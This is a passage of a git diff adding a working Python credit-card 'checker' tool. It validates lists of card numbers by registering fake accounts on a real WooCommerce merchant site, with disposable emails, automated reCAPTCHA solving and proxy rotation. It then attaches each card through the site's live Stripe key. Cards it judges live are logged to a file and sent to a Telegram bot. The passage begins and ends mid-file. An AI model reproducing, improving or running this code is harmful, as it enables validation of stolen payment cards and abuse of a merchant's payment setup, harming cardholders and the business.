'BinInfo', + 'StripeChecker', + 'parse_card_file', + 'deduplicate_cards', + 'lookup_bin', +] diff --git a/checker/src/checker/__main__.py b/checker/src/checker/__main__.py new file mode 100644 index 0000000..d3d8fbe --- /dev/null +++ b/checker/src/checker/__main__.py @@ -0,0 +1,5 @@ +"""允许通过 python -m checker 运行""" +from checker.cli import main + +if __name__ == '__main__': + main() diff --git a/checker/src/checker/cards/__init__.py b/checker/src/checker/cards/__init__.py new file mode 100644 index 0000000..096df55 --- /dev/null +++ b/checker/src/checker/cards/__init__.py @@ -0,0 +1,9 @@ +"""卡片处理模块""" +from .parser import parse_card_file, deduplicate_cards +from .bin_lookup import lookup_bin + +__all__ = [ + 'parse_card_file', + 'deduplicate_cards', + 'lookup_bin', +] diff --git a/checker/src/checker/cards/bin_lookup.py b/checker/src/checker/cards/bin_lookup.py new file mode 100644 index 0000000..d797a0b --- /dev/null +++ b/checker/src/checker/cards/bin_lookup.py @@ -0,0 +1,37 @@ +"""BIN信息查询服务""" +import requests +from typing import Optional + +from ..models import BinInfo +from ..utils.strings import gstr + + +def lookup_bin(bin_number: str, session: Optional[requests.Session] = None) -> BinInfo: + """查询BIN信息 + + Args: + bin_number: BIN号码(前6位) + session: requests会话对象,如果为None则创建新会话 + + Returns: + BinInfo对象 + """ + if session is None: + session = requests.Session() + + try: + url = f'https://bins.antipublic.cc/bins/{bin_number}' + response = session.get(url, timeout=10) + text = response.text + + return BinInfo( + bin=bin_number, + brand=gstr(text, 'brand":"', '"').upper() or 'UNKNOWN', + country=gstr(text, 'country_name":"', '"').upper() or 'UNKNOWN', + country_flag=gstr(text, 'country_flag":"', '"') or 'UNKNOWN', + bank=gstr(text, 'bank":"', '"').upper() or 'UNKNOWN', + card_type=gstr(text, 'type":"', '"').upper() or 'UNKNOWN', + level=gstr(text, 'level":"', '"').upper() or 'UNKNOWN', + ) + except Exception: + return BinInfo(bin=bin_number) diff --git a/checker/src/checker/cards/parser.py b/checker/src/checker/cards/parser.py new file mode 100644 index 0000000..593c4de --- /dev/null +++ b/checker/src/checker/cards/parser.py @@ -0,0 +1,53 @@ +"""卡片文件解析器""" +from typing import List +from ..models import Card + + +def parse_card_file(file_path: str) -> List[Card]: + """解析卡片文件 + + Args: + file_path: 卡片文件路径 + + Returns: + Card对象列表 + + Raises: + FileNotFoundError: 文件不存在 + UnicodeDecodeError: 文件编码错误 + """ + with open(file_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + + cards = [] + for line in lines: + line = line.strip() + if not line: + continue + + card = Card.parse(line) + if card: + cards.append(card) + + return cards + + +def deduplicate_cards(cards: List[Card]) -> List[Card]: + """去除重复卡片 + + Args: + cards: 卡片列表 + + Returns: + 去重后的卡片列表 + """ + seen = set() + unique_cards = [] + + for card in cards: + key = card.formatted + if key not in seen: + seen.add(key) + unique_cards.append(card) + + return unique_cards diff --git a/checker/src/checker/checkers/__init__.py b/checker/src/checker/checkers/__init__.py new file mode 100644 index 0000000..ce03731 --- /dev/null +++ b/checker/src/checker/checkers/__init__.py @@ -0,0 +1,4 @@ +"""检测器模块""" +from .stripe import StripeChecker + +__all__ = ['StripeChecker'] diff --git a/checker/src/checker/checkers/stripe.py b/checker/src/checker/checkers/stripe.py new file mode 100644 index 0000000..a51d429 --- /dev/null +++ b/checker/src/checker/checkers/stripe.py @@ -0,0 +1,631 @@ +"""Stripe支付网关检测器 + +这个模块包含了完整的Stripe卡片检测流程,包括: +1. 账户注册 +2. 卡片令牌化 +3. 3DS验证 +4. 结果判断 +""" +import uuid +import secrets +import string +import random +import time +import datetime +import sys +import base64 +import json +import socket +import logging +import threading +from typing import Tuple, Optional, List + +import requests +from requests import exceptions +import urllib3 +from faker import Faker +from colorama import Fore, Style + +from ..models import Card, CheckResult, CheckStatus +from ..cards import lookup_bin +from ..utils import format_ts, sleep_random, generate_password, gstr, get_random_ua, UA +from ..integrations import RecaptchaSolver, ProxyRotator, send_telegram_message + +logger = logging.getLogger(__name__) + +# 线程锁 +print_lock = threading.Lock() +file_lock = threading.Lock() +sent_lock = threading.Lock() + +# Telegram已发送集合 +sent_telegram = set() + + +class StripeChecker: + """Stripe支付网关检测器""" + + # 临时邮箱域名列表 + EMAIL_DOMAINS = [ + 'startmail.com', 'runbox.com', 'posteo.de', 'openmailbox.org', 'safe-mail.net', + 'keemail.me', 'mykolab.com', 'eclipso.eu', 'neomailbox.com', 'mailbox.org', + 'msgsafe.io', 'torguard.tg', 'vfemail.net', 'scryptmail.com', 'luxsci.com', + 'onmail.com', 'simplelogin.io', 'anonaddy.com', 'duck.com', 'pm.me', + 'swissmail.org', 'kolabnow.com', 'mailnesia.com', 'spamgourmet.com', + 'mailsac.com', 'relay.firefox.com', 'emailondeck.com', 'moakt.com', + 'maildrop.cc', 'nowmymail.com', 'throwawaymail.com', 'mailcatch.com', + 'mailnull.com', 'spamavert.com', 'mail-temporaire.fr', 'rcpt.at', + 'mailnesia.com', 'spambfree24.org', 'temp-mail.io', 'easytrashmail.com', + 'inboxkitten.com', 'trashmail.de', 'wh4f.org', 'vibemail.net', + 'spamex.com', 'trbvm.com', 'getairmail.com', 'webemail.me', + ] + + # Stripe公钥 + STRIPE_PK = 'pk_live_51PNnUYCpbsAx05ZQuvx5UVPB6OydHAwDUFaKTeblYjQDucB8985OeQ6ceodC9EhWgClX2wvS7jaVTSNnr0SkektW00mh3KBqQ3' + + def __init__( + self, + timeout: int = 15, + max_retries: int = 5, + telegram_token: Optional[str] = None, + telegram_chat_id: Optional[str] = None + ): + """初始化检测器 + + Args: + timeout: 请求超时时间 + max_retries: 最大重试次数 + telegram_token: Telegram bot token + telegram_chat_id: Telegram chat ID + """ + self.timeout = timeout + self.max_retries = max_retries + self.telegram_token = telegram_token + self.telegram_chat_id = telegram_chat_id + + def _generate_user_data(self) -> Tuple[str, str, str]: + """生成用户数据(用户名、密码、邮箱)""" + # 生成密码 + password = generate_password(10, 16) + + # 生成用户名 + username_chars = string.ascii_lowercase + string.digits + '._' + alnum = string.ascii_lowercase + string.digits + length = secrets.choice(range(6, 13)) + + first = secrets.choice(alnum) + last = secrets.choice(alnum) + middle = [] + prev = '' + + for _ in range(max(0, length - 2)): + ch = secrets.choice(username_chars) + while prev in '._' and ch in '._': + ch = secrets.choice(alnum) + middle.append(ch) + prev = ch + + base = first + ''.join(middle) + last + uniq = uuid.uuid4().hex[:4] + username = (base + uniq)[:length] + + # 生成临时邮箱 + email = f"{username}@{random.choice(self.EMAIL_DOMAINS)}" + + return username, password, email + + def _solve_recaptcha(self, proxy_rotator: ProxyRotator) -> Optional[str]: + """求解reCAPTCHA""" + try: + anchor_url = ( + 'https://www.google.com/recaptcha/api2/anchor?ar=1&' + 'k=6LfAYREqAAAAAGMmzJpVy-ZtfdQgCuGSBRx8f321&' + 'co=aHR0cHM6Ly93d3cud29tZW5zYWlkLm9yZy51azo0NDM.&' + 'hl=en&v=bGi-DxR800FVc7f0siDI2jNQ&size=invisible&' + 'anchor-ms=20000&execute-ms=15000&cb=6mmplhhp955x' + ) + solver = RecaptchaSolver(timeout=20, proxy_rotator=proxy_rotator) + return solver.solve(anchor_url) + except Exception as e: + logger.warning(f'reCAPTCHA solve failed: {e}') + return None + + def check( + self, + card: Card, + session: requests.Session, + proxy_list: Optional[List[str]] = None + ) -> CheckResult: + """检测卡片 + + Args: + card: 卡片对象 + session: requests会话 + proxy_list: 代理列表 + + Returns: + CheckResult对象 + """ + # 初始化ID + session_uuid = str(uuid.uuid4()) + GUID = str(uuid.uuid4()) + MUID = str(uuid.uuid4()) + SID = str(uuid.uuid4()) + + # 查询BIN信息 + bin_info = lookup_bin(card.bin, session) + + # 生成用户数据 + username, password, email = self._generate_user_data() + sleep_random(1, 3) + + # 生成时间戳 + timeunix = str(int(time.time()))[:7] + ts_now = format_ts(datetime.datetime.now(datetime.timezone.utc)) + + # 生成Faker数据 + fake = Faker('en_US') + first_name = fake.first_name_male() + last_name = fake.last_name_male() + + # 代理轮换器 + proxy_rotator = ProxyRotator(proxy_list) + tried_proxies = set() + + # 重试循环 + for attempt in range(1, self.max_retries + 1): + try: + # 选择代理 + if proxy_list and len(tried_proxies) >= len(proxy_list): + return CheckResult( + card=card, + status=CheckStatus.UNKNOWN, + message="No proxy available", + bin_info=bin_info + ) + + proxies = proxy_rotator.get() + if proxies and proxy_list: + proxy_str = proxies.get('http') + if proxy_str in tried_proxies: + continue + tried_proxies.add(proxy_str) + + # 1. 求解reCAPTCHA + token = self._solve_recaptcha(proxy_rotator) + if not token: + logger.warning('Failed to solve reCAPTCHA, continuing anyway') + + # 2. 访问My Account页面 + headers = { + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'user-agent': get_random_ua() + } + response = session.get( + 'https://ihorangi.ac.nz/my-account/', + headers=headers, + proxies=proxies, + timeout=self.timeout + ) + + # 提取nonce + wogreg = gstr(response.text, 'woocommerce-register-nonce" value="', '"') + + # 3. 注册账户 + headers['content-type'] = 'application/x-www-form-urlencoded' + headers['origin'] = 'https://ihorangi.ac.nz' + headers['referer'] = 'https://ihorangi.ac.nz/my-account/' + + data = { + 'email': email, + 'wc_order_attribution_source_type': 'typein', + 'wc_order_attribution_session_start_time': ts_now, + 'wc_order_attribution_user_agent': get_random_ua(), + 'woocommerce-register-nonce': wogreg, + '_wp_http_referer': '/my-account/', + 'register': 'Register' + } + + response = session.post( + 'https://ihorangi.ac.nz/my-account/', + headers=headers, + data=data, + proxies=proxies, + timeout=self.timeout + ) + + if response.status_code not in (200, 301, 302): + time.sleep(random.uniform(5, 10)) + continue + + # 4. 访问支付方式页面 + session.get( + 'https://ihorangi.ac.nz/my-account/payment-methods/', + headers=headers, + proxies=proxies, + timeout=self.timeout + ) + + # 5. 获取添加支付方式页面 + response = session.get( + 'https://ihorangi.ac.nz/my-account/add-payment-method/', + headers=headers, + proxies=proxies, + timeout=self.timeout + ) + + stpnonce = gstr(response.text, 'createAndConfirmSetupIntentNonce": "', '"') + if not stpnonce: + stpnonce = gstr(response.text, 'createAndConfirmSetupIntentNonce":"', '"') + + # 6. Stripe Elements Session + headers = { + 'accept': 'application/json', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'referer': 'https://js.stripe.com/', + 'user-agent': get_random_ua() + } + + url = ( + f'https://api.stripe.com/v1/elements/sessions?' + f'deferred_intent[mode]=setup&' + f'deferred_intent[currency]=nzd&' + f'deferred_intent[payment_method_types][0]=card&' + f'deferred_intent[setup_future_usage]=off_session&' + f'currency=nzd&' + f'key={self.STRIPE_PK}&' + f'_stripe_version=2024-06-20&' + f'elements_init_source=stripe.elements&' + f'referrer_host=ihorangi.ac.nz&' + f'stripe_js_id={session_uuid}&' + f'locale=en&' + f'type=deferred_intent' + ) + session.get(url, headers=headers, timeout=self.timeout, proxies=proxies) + + # 6.1 Link Cookie + headers_link = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': get_random_ua() + } + params_link = {'referrer_host': 'ihorangi.ac.nz'} + session.get( + 'https://merchant-ui-api.stripe.com/link/get-cookie', + params=params_link, + headers=headers_link, + proxies=proxies, + timeout=self.timeout + ) + + # 6.2 hCaptcha Check + headers_hcap = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'content-type': 'text/plain', + 'origin': 'https://newassets.hcaptcha.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://newassets.hcaptcha.com/', + 'user-agent': get_random_ua() + } + params_hcap = { + 'v': '2e2f9feae51e15dd4676ba8e3d761ec72f41b826', + 'host': 'b.stripecdn.com', + 'sitekey': '463b917e-e264-403f-ad34-34af0ee10294', + 'sc': '1', + 'swa': '1', + 'spst': '0' + } + session.post( + 'https://api.hcaptcha.com/checksiteconfig', + params=params_hcap, + headers=headers_hcap, + proxies=proxies, + timeout=self.timeout + ) + + # 7. 创建Payment Method + data = ( + f'type=card&' + f'card[number]={card.number}&' + f'card[cvc]={card.cvv}&' + f'card[exp_year]={card.year[-2:]}&' + f'card[exp_month]={card.month}&' + f'allow_redisplay=unspecified&' + f'billing_details[address][country]=NZ&' + f'pasted_fields=number%2Ccvc&' + f'payment_user_agent=stripe.js%2F8c194b4c2c%3B+stripe-js-v3%2F8c194b4c2c%3B+payment-element%3B+deferred-intent&' + f'referrer=https%3A%2F%2Fihorangi.ac.nz&' + f'time_on_page={timeunix}&' + f'client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&' + f'client_attribution_metadata[merchant_integration_source]=elements&' + f'client_attribution_metadata[merchant_integration_subtype]=payment-element&' + f'client_attribution_metadata[merchant_integration_version]=2021&' + f'client_attribution_metadata[payment_intent_creation_flow]=deferred&' + f'client_attribution_metadata[payment_method_selection_flow]=merchant_specified&' + f'client_attribution_metadata[elements_session_config_id]=47f07f96-4b09-4cf0-9d48-4343573d8fa2&' + f'client_attribution_metadata[merchant_integration_additional_elements][0]=payment&' + f'guid={GUID}&' + f'muid={MUID}&' + f'sid={SID}&' + f'key={self.STRIPE_PK}&' + f'_stripe_version=2024-06-20' + ) + + headers_pm = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9,id;q=0.8', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': get_random_ua() + } + + response = session.post( + 'https://api.stripe.com/v1/payment_methods', + headers=headers_pm, + data=data, + timeout=self.timeout, + proxies=proxies + ) + + if response.status_code != 200: + msg = gstr(response.text, 'message": "', '"') + with print_lock: + print( + f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{card.formatted} " + f"{Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} " + f"{Fore.LIGHTWHITE_EX}- {Fore.LIGHTRED_EX}{msg}{Style.RESET_ALL}" + ) + return CheckResult( + card=card, + status=CheckStatus.DEAD, + message=msg or 'payment_methods_failed', + bin_info=bin_info + ) + + idtoken = gstr(response.text, 'id": "', '"') + + # 8. 确认Setup Intent + headers['content-type'] = 'application/x-www-form-urlencoded; charset=UTF-8' + headers['origin'] = 'https://ihorangi.ac.nz' + headers['referer'] = 'https://ihorangi.ac.nz/my-account/add-payment-method/' + headers['x-requested-with'] = 'XMLHttpRequest' + + data = { + 'action': 'wc_stripe_create_and_confirm_setup_intent', + 'wc-stripe-payment-method': idtoken, + 'wc-stripe-payment-type': 'card', + '_ajax_nonce': stpnonce + } + + response = session.post( + 'https://ihorangi.ac.nz/wp-admin/admin-ajax.php', + headers=headers, + data=data, + timeout=self.timeout, + proxies=proxies + ) + + # 解析结果 + result = self._parse_result(response, card, bin_info) + + # 处理需要重试的情况 + if result.message == 'RETRY': + time.sleep(random.uniform(5, 10)) + continue + + return result + + except KeyboardInterrupt: + sys.exit(1) + except Exception as e: + hint = self._handle_exception(e) + with print_lock: + print( + f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{card.formatted} " + f"{Fore.LIGHTWHITE_EX}- {Fore.RED}-» {Fore.YELLOW}{hint}{Style.RESET_ALL}" + ) + continue + + # 达到最大重试次数 + return CheckResult( + card=card, + status=CheckStatus.UNKNOWN, + message="Max attempts reached", + bin_info=bin_info + ) + + def _parse_result( + self, + response: requests.Response, + card: Card, + bin_info + ) -> CheckResult: + """解析响应结果""" + try: + resp = response.json() + except ValueError: + resp = {} + + text = response.text.lower() + text_orig = response.text + + # 提取data + if isinstance(resp, dict) and 'data' in resp: + data = resp['data'] + else: + data = resp + + status = str(data.get('status', '')).lower() + + # 检查各种成功情况 + if ( + (isinstance(resp, dict) and resp.get('success') is True) or + 'succeeded' in status or + 'succeeded' in text + ): + return self._handle_success(card, bin_info, "Succeeded") + + # 需要3DS + if 'requires_action' in status or 'requires_action' in text: + with print_lock: + print( + f"{Fore.YELLOW} -» {Fore.WHITE}{card.formatted} " + f"{Fore.LIGHTWHITE_EX}- {Fore.YELLOW}3DS Required.{Style.RESET_ALL}" + ) + return CheckResult( + card=card, + status=CheckStatus.UNKNOWN, + message="3DS required", + bin_info=bin_info + ) + + # 需要支付方式(通常是拒绝) + if 'requires_payment_method' in status or 'requires_payment_method' in text: + msg = ( + gstr(text_orig, 'message": "', '"') or + gstr(text_orig, '"code": "', '"') or + gstr(text_orig, '"decline_code": "', '"') + ) + with print_lock: + print( + f"{Fore.RED} -» {Fore.WHITE}{card.formatted} " + f"{Fore.LIGHTWHITE_EX}- {Fore.RED}{msg}{Style.RESET_ALL}" + ) + return CheckResult( + card=card, + status=CheckStatus.DEAD, + message=msg or 'requires_payment_method', + bin_info=bin_info + ) + + # 余额不足(通常视为成功) + if 'insufficient_funds' in text or 'insufficient funds' in text: + return self._handle_success(card, bin_info, "Insufficient Funds") + + # 速率限制 + if 'You cannot add a new payment method so soon' in text_orig: + with print_lock: + print( + f"{Fore.LIGHTYELLOW_EX} -» {Fore.LIGHTWHITE_EX}{card.formatted} " + f"{Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}RETRY " + f"{Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}IP temporarily blocked{Style.RESET_ALL}" + ) + return CheckResult( + card=card, + status=CheckStatus.UNKNOWN, + message="RETRY", + bin_info=bin_info + ) + + # 默认失败 + msg = gstr(text_orig, 'message":"', '"') or 'Unknown error' + with print_lock: + print( + f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{card.formatted} " + f"{Fore.LIGHTWHITE_EX}- {Fore.RED}{msg}{Style.RESET_ALL}" + ) + + return CheckResult( + card=card, + status=CheckStatus.DEAD, + message=msg, + bin_info=bin_info + ) + + def _handle_success(self, card: Card, bin_info, reason: str) -> CheckResult: + """处理成功情况""" + with print_lock: + print( + f"{Fore.LIGHTGREEN_EX} -» {Fore.WHITE}{card.formatted} " + f"{Fore.LIGHTWHITE_EX}- {Fore.GREEN}Charged ({reason}).{Style.RESET_ALL}" + ) + + # 保存到文件 + with file_lock: + with open('approvedcard.txt', 'a', encoding='utf-8') as f: + f.write(f"{card.formatted}|{reason.upper().replace(' ', '_')}|\n") + + # 发送Telegram通知 + if self.telegram_token and self.telegram_chat_id: + with sent_lock: + card_key = card.formatted + if card_key not in sent_telegram: + msg = ( + f"Stripe Charge 0.10$\n\n" + f"CC : {card.formatted}\n" + f"Status : Charged!✅\n" + f"Response : {reason}\n" + f"Gates : Stripe Charge\n\n" + f"Bin : {card.bin} - " + f"Brand : {bin_info.brand} - " + f"Type : {bin_info.card_type} - " + f"Country : {bin_info.country} {bin_info.country_flag} - " + f"Issuer : {bin_info.bank}" + ) + send_telegram_message( + self.telegram_token, + self.telegram_chat_id, + msg, + timeout=10 + ) + sent_telegram.add(card_key) + + return CheckResult( + card=card, + status=CheckStatus.LIVE, + message=reason, + bin_info=bin_info + ) + + def _handle_exception(self, e: Exception) -> str: + """处理异常并返回友好提示""" + err_msg = str(e).lower() + + if isinstance(e, exceptions.ConnectTimeout): + return 'Connection timed out while connecting to host.' + elif isinstance(e, exceptions.ReadTimeout): + return 'Server took too long to respond.' + elif isinstance(e, exceptions.Timeout): + return 'Request timeout.' + elif isinstance(e, socket.timeout): + return 'Socket-level timeout occurred.' + elif isinstance(e, exceptions.ConnectionError): + if 'reset' in err_msg: + return 'Connection reset by peer.' + elif 'refused' in err_msg: + return 'Connection refused.' + elif 'aborted' in err_msg: + return 'Connection aborted.' + return 'General connection error.' + elif isinstance(e, exceptions.ProxyError): + if 'cannot connect' in err_msg: + return 'Proxy unreachable.' + elif 'timed out' in err_msg: + return 'Proxy timeout.' + elif '407' in err_msg: + return 'Proxy authentication required.' + return 'General proxy error.' + elif isinstance(e, (exceptions.SSLError, urllib3.exceptions.SSLError)): + return 'SSL/TLS error.' + elif isinstance(e, exceptions.HTTPError): + if '429' in err_msg: + return 'Rate limited.' + elif '403' in err_msg: + return 'Forbidden.' + return 'HTTP error.' + + return f'{type(e).__name__}: {str(e)}' diff --git a/checker/src/checker/cli/__init__.py b/checker/src/checker/cli/__init__.py new file mode 100644 index 0000000..47bfab5 --- /dev/null +++ b/checker/src/checker/cli/__init__.py @@ -0,0 +1,4 @@ +"""CLI模块""" +from .app import main + +__all__ = ['main'] diff --git a/checker/src/checker/cli/app.py b/checker/src/checker/cli/app.py new file mode 100644 index 0000000..46082f4 --- /dev/null +++ b/checker/src/checker/cli/app.py @@ -0,0 +1,148 @@ +"""CLI主应用程序""" +import sys +import time +from concurrent.futures import ThreadPoolExecutor, as_completed +from colorama import init as colorama_init + +from ..core.config import MAX_THREADS, DEFAULT_THREADS +from ..cards import parse_card_file, deduplicate_cards +from ..checkers import StripeChecker +from ..integrations import load_proxy_list +from ..models import CheckStatus +from .banner import ( + clear_screen, + show_banner, + show_separator, + show_social_info, + show_license_info, + show_statistics, + show_results +) +from .prompts import ( + prompt_telegram_config, + prompt_card_file, + prompt_proxy_input, + prompt_threads +) + +# 初始化Colorama +colorama_init(autoreset=True) + + +def main(): + """主函数""" + try: + # 显示欢迎界面 + clear_screen() + show_banner('CHK-TOOLS') + show_separator() + show_license_info() + show_separator() + show_social_info() + show_separator() + + # 获取Telegram配置 + tg_token, tg_chat_id = prompt_telegram_config() + + # 获取卡片文件 + card_file = prompt_card_file() + + # 解析卡片 + try: + cards = parse_card_file(card_file) + cards = deduplicate_cards(cards) + except FileNotFoundError: + print(f"\n[ERROR] Unable to read file: {card_file}\n") + return + except UnicodeDecodeError: + print(f"\n[ERROR] File must be in UTF-8 encoding.\n") + return + + if not cards: + print(f"\n[ERROR] No card data found in {card_file}\n") + return + + # 获取代理配置 + proxy_input = prompt_proxy_input() + proxy_list = load_proxy_list(proxy_input) + + # 获取线程数 + threads = prompt_threads(MAX_THREADS, DEFAULT_THREADS) + + # 显示运行信息 + clear_screen() + show_banner('StripeAuth') + show_separator() + show_license_info() + show_separator() + show_statistics( + total_cards=len(cards), + proxy_count=len(proxy_list), + threads=threads, + max_retry=MAX_THREADS + ) + show_separator() + + # 初始化检测器 + checker = StripeChecker( + timeout=15, + max_retries=5, + telegram_token=tg_token, + telegram_chat_id=tg_chat_id + ) + + # 统计变量 + cnt_live = 0 + cnt_dead = 0 + cnt_unknown = 0 + + start = time.perf_counter() + + # 使用线程池执行检测 + import requests + + with ThreadPoolExecutor(max_workers=threads) as executor: + # 为每个卡片创建独立的session + futures = {} + for card in cards: + session = requests.Session() + future = executor.submit(checker.check, card, session, proxy_list) + futures[future] = session + + # 处理完成的任务 + for future in as_completed(futures): + session = futures[future] + try: + result = future.result() + + if result.status == CheckStatus.LIVE: + cnt_live += 1 + elif result.status == CheckStatus.DEAD: + cnt_dead += 1 + else: + cnt_unknown += 1 + + finally: + session.close() + + elapsed = time.perf_counter() - start + + # 显示结果 + show_results( + total_checked=len(cards), + elapsed=elapsed, + live=cnt_live, + dead=cnt_dead, + unknown=cnt_unknown + ) + + except KeyboardInterrupt: + print('\n\nExit requested.\n') + sys.exit(0) + except Exception as e: + print(f'\n\nError: {e}\n') + raise + + +if __name__ == '__main__': + main() diff --git a/checker/src/checker/cli/banner.py b/checker/src/checker/cli/banner.py new file mode 100644 index 0000000..1dfeb60 --- /dev/null +++ b/checker/src/checker/cli/banner.py @@ -0,0 +1,102 @@ +"""Banner和UI显示""" +import os +import random +import pyfiglet +from colorama import Fore, Style + + +def clear_screen(): + """清理屏幕""" + os.system('cls' if os.name == 'nt' else 'clear') + + +def pick_gradient(): + """选择随机渐变色(简化版)""" + return ['#ff0000', '#00ff00'] + + +def color_gradient_text(text, gradient): + """渐变色文本(简化版,直接返回)""" + return text + + +def show_banner(title: str = 'CHK-TOOLS', font: str = 'ansi_shadow'): + """显示Banner + + Args: + title: Banner标题 + font: 字体名称 + """ + banner = pyfiglet.figlet_format(title, font=font) + gradient = pick_gradient() + print(color_gradient_text(banner, gradient)) + + +def show_separator(): + """显示分隔线""" + print('- ' * 35) + + +def show_social_info(): + """显示社交信息""" + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Github {Fore.RED}: {Fore.YELLOW}github.com/KianSantang777") + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram {Fore.RED}: {Fore.YELLOW}t.me/xqndrs") + + +def show_license_info(license_info: str = "License Active"): + """显示许可证信息 + + Args: + license_info: 许可证信息字符串 + """ + print(f"{Fore.GREEN}{license_info}{Style.RESET_ALL}") + + +def show_statistics( + total_cards: int, + proxy_count: int, + threads: int, + max_retry: int, + output_file: str = 'approvedcard.txt' +): + """显示统计信息 + + Args: + total_cards: 总卡片数 + proxy_count: 代理数量 + threads: 线程数 + max_retry: 最大重试次数 + output_file: 输出文件名 + """ + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total card {Fore.YELLOW}: {Fore.YELLOW}{total_cards}{Style.RESET_ALL}") + + if proxy_count > 0: + print(f"{Fore.YELLOW}[✓]{Fore.LIGHTWHITE_EX} Use {Fore.YELLOW}{proxy_count} {Fore.LIGHTWHITE_EX}proxies.") + else: + print(f"{Fore.RED}[x] {Fore.LIGHTWHITE_EX}No proxy loaded. Continuing without proxy.{Style.RESET_ALL}") + + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total threads {Fore.YELLOW}: {Fore.YELLOW}{threads}{Style.RESET_ALL}") + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Max retry {Fore.YELLOW}: {Fore.YELLOW}{max_retry}{Style.RESET_ALL}") + print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Live card saved to {Fore.YELLOW}: {Fore.LIGHTGREEN_EX}{output_file}{Style.RESET_ALL}") + + +def show_results(total_checked: int, elapsed: float, live: int, dead: int, unknown: int): + """显示最终结果 + + Args: + total_checked: 总检测数 + elapsed: 耗时 + live: 活卡数 + dead: 死卡数 + unknown: 未知数 + """ + print('\n' + '- ' * 35) + print( + f"{Style.RESET_ALL}DONE. Checked {Fore.YELLOW}{total_checked}{Style.RESET_ALL} " + f"cards in {Fore.YELLOW}{elapsed:.2f} {Style.RESET_ALL}seconds." + ) + print( + f"RESULTS: {Fore.LIGHTGREEN_EX}LIVE: {Style.RESET_ALL}{live}, " + f"{Fore.RED}DEAD: {Style.RESET_ALL}{dead}, " + f"{Fore.LIGHTYELLOW_EX}UNKNOWN: {Style.RESET_ALL}{unknown}\n\n" + ) diff --git a/checker/src/checker/cli/prompts.py b/checker/src/checker/cli/prompts.py new file mode 100644 index 0000000..3d003d4 --- /dev/null +++ b/checker/src/checker/cli/prompts.py @@ -0,0 +1,104 @@ +"""用户交互提示""" +from colorama import Fore, Style + + +def prompt_telegram_config(): + """提示输入Telegram配置 + + Returns: + (token, chat_id) 元组 + """ + token = input( + f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Bot Token " + f"{Fore.MAGENTA}[{Fore.YELLOW}Enter to skip{Fore.MAGENTA}]{Fore.WHITE}: " + ).strip() + + if not token: + return None, None + + chat_id = input( + f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Chat ID: " + ).strip() + + if not chat_id: + return None, None + + return token, chat_id + + +def prompt_card_file(): + """提示输入卡片文件路径 + + Returns: + 文件路径 + """ + path = input( + f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter card file path " + f"(ex: {Fore.YELLOW}card.txt{Style.RESET_ALL}): " + ).strip() + + return path or 'card.txt' + + +def prompt_proxy_input(): + """提示输入代理配置 + + Returns: + 代理输入字符串 + """ + print( + f"{Fore.RED}[!] {Fore.LIGHTRED_EX}Note: {Fore.YELLOW}" + f"Comma separated, ex: user:pass@ip:port, ip:port:user:pass{Style.RESET_ALL}" + ) + + proxy_input = input( + f"{Fore.RED}[+] {Fore.LIGHTWHITE_EX}Paste ur proxy kredensials " + f"{Style.RESET_ALL}{Fore.LIGHTBLACK_EX}[Press Enter to skip]{Style.RESET_ALL}: " + ).strip() + + return proxy_input + + +def prompt_threads(max_threads: int = 3, default_threads: int = 1): + """提示输入线程数 + + Args: + max_threads: 最大线程数 + default_threads: 默认线程数 + + Returns: + 线程数 + """ + try: + user_input = input( + f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter number of threads " + f"(max {Fore.RED}{max_threads}{Style.RESET_ALL}, " + f"default {Fore.LIGHTRED_EX}{default_threads}{Style.RESET_ALL}): " + ).strip() + + if not user_input: + return default_threads + + threads = int(user_input) + + if threads < 1: + print( + f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] " + f"Minimum threads is 1. Using default {default_threads}.{Style.RESET_ALL}" + ) + return default_threads + elif threads > max_threads: + print( + f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] " + f"Max threads is {max_threads}. Using {max_threads} threads.{Style.RESET_ALL}" + ) + return max_threads + + return threads + + except ValueError: + print( + f"{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] " + f"Invalid input. Using default {default_threads} threads.{Style.RESET_ALL}" + ) + return default_threads diff --git a/checker/src/checker/core/__init__.py b/checker/src/checker/core/__init__.py new file mode 100644 index 0000000..aa28e59 --- /dev/null +++ b/checker/src/checker/core/__init__.py @@ -0,0 +1,19 @@ +"""核心模块""" +from .config import ( + MAX_THREADS, + DEFAULT_THREADS, + 